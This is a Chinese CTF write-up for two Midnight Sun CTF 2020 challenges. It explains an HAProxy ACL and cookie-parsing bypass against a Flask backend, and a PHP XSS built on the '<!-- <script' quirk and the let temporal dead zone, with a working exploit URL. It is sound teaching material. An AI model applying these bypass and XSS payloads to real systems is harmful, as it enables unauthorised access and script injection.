0%

Midnight SUN CTF 2020 Write up

harproxy

题目一开始就给出了harproxy的配置文件:

global
  daemon
  log 127.0.0.1 local0 debug

defaults
  log               global
  retries           3
  maxconn           2000
  timeout connect   5s
  timeout client    50s
  timeout server    50s

resolvers docker_resolver
  nameserver dns 127.0.0.11:53

frontend internal_access
  bind 127.0.0.1:8080
  mode http
  use_backend test

frontend internet_access
  bind *:80
  errorfile 403 /etc/haproxy/errorfiles/403custom.http
  http-response set-header Server Server
  http-request deny if METH_POST
  http-request deny if { path_beg /admin }
  http-request deny if { cook(IMPERSONATE) -m found }
  http-request deny if { hdr_len(Cookie) gt 69 }
  mode http
  use_backend test

backend test
  balance roundrobin
  mode http
  server flaskapp app:8282 resolvers docker_resolver resolve-prefer ipv4

harproxy配置

可以看到有四个核心的设置:

  http-request deny if { path_beg /admin }
  http-request deny if { cook(IMPERSONATE) -m found }
  http-request deny if { hdr_len(Cookie) gt 69 }
  .........
  server flaskapp app:8282 resolvers docker_resolver resolve-prefer ipv4
  • 拒绝url路径为/admin开头
  • 拒绝cookie不是IMPERSONATE开头
  • 拒绝长度大于69的cookie
  • 这是一个flask应用

bypass

  • bypasshttp-request deny if { path_beg /admin }直接使用用//admin进行绕过,但是在测试中发现GET方式仍然不行,最后在其他大佬的wp中看到使用的是HEAD进行发送。最后会出来cookie:

img

  • 传输cookies时候还有个小trick,http1.1是允许cookie分段传输的所以
Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc;
Cookie: IMPERSONATE=admin
  • 但是传入正则后仍然无法getflag

img

  • 这里就和flask和haproxy解析cookies的结果不一样导致bypass.看wp是使用进行绕过
;=IMPERSONATE=admin
  • 我们直接看flask的request的cookie方法:
_cookie_re = re.compile(
    br"""
    (?P<key>[^=;]+)
    (?:\s*=\s*
        (?P<val>
            "(?:[^\\"]|\\.)*" |
             (?:.*?)
        )
    )?
    \s*;
""",
    flags=re.VERBOSE,
)
  • 我们传入;=IMPERSONATE=admin发现cookie直接被解析了。

img

Crossintheroof

源码

<?php
 header('X-XSS-Protection: 0');
 header('X-Frame-Options: deny');
 header('X-Content-Type-Options: nosniff');
 header('Content-Type: text/html; charset=UTF-8');

if(!isset($_GET['xss'])){
    if(isset($_GET['error'])){
        die('stop haking me!!!');
    }

    if(isset($_GET['source'])){
        highlight_file('index.php');
        die();
    }

    die('unluky');
}

 $xss = $_GET['xss']?$_GET['xss']:"";
 $xss = preg_replace("|[}/{]|", "", $xss);

?>
<script>
setTimeout(function(){
    try{
        return location = '/?i_said_no_xss_4_u_:)';
        nodice=<?php echo $xss; ?>;
    }catch(err){
        return location = '/?error='+<?php echo $xss; ?>;
    }
    },500);
</script>
<script>
/* 
    payload: <?php echo $xss ?>

*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>

暂存死区

  • <!-- <srcpit>

  • 这在HTML标准中有提及

<script>
    var example = 'Consider this string: <!-- <script>';
    console.log(example);
  </script>
<body>hi. bye.</body>
  • 在js代码中加入<!-- <srcpit>会发生什么呢,可以观察到,<body>被当做js代码并入上一级的<srcpit>标签中。

img

  • 回到上面题目:
    <script>
    setTimeout(function(){
      try{
          return location = '/?i_said_no_xss_4_u_:)';
          nodice=<?php echo $xss; ?>;
      }catch(err){
          return location = '/?error='+<?php echo $xss; ?>;
      }
      },500);
    </script>
    <script>
    /* 
      payload: <?php echo $xss ?>
    

*/

hi. bye. ```
  • 我们要直接bypass最后的那个<body>就可以在$xss中传入一个<!-- <srcpit>
  • 那么如何输出构造xss这里?
  • 这里第一个return肯定是不能让他执行的,否则他就会直接跳转。我们先来看一段代码。
function foo() {
    try{
        return x = 'x';
        let x=1;

    }catch(err){
        return alert(1);
    }}
foo();
  • 执行会发现弹框。这是为什么呢,前面我们说过let和var的区别,正因为let不能设置已经声明过的变量导致try中出错,跳转到catch(err)中执行了alert,但是为什么第一个return没有被执行跳转呢?

img

  • 难道是因为只要在代码块中出现错误就会跳转到catch(err)中,那么我们把代码改成
function foo() {
    try{
        return x = 'x';
        print(s);

    }catch(err){
        return alert(1);
    }}
foo();
  • 可以看到这次直接返回了x,并没有执行catch(err)内容。可以猜测这个和let有关。

img

  • 我们再把let换成const呢?可以发现alert被执行了。那么我们可以知道letconst有一个共同的特点那就是暂存死区,因为let声明不会被提升到当前执行上下文的顶部。该变量属于从块开始到初始化处理的“暂存死区”。也就是说第一个returnlet之间都是暂存死区。在程序的控制流程在新的作用域进行实例化时,在此作用域中用let、const声明的变量会在该作用域中先创建,但这个时候还没有进行词法绑定,没有进行对声明语句的求值运算,所以是不能访问的,访问会抛出错误。所以let可以简单理解为最先执行,但是没有将其与变量绑定,所以后面return访问时候就抛出了错误,导致了catch被执行。

img

  • 在mozilla就有这么一个例子(直通车),所以导致xss被执行。

img

exp 综上所述

http://127.0.0.1/xss.php?xss=alert(1);let%20location=1;%0a%3C!--%3Cscript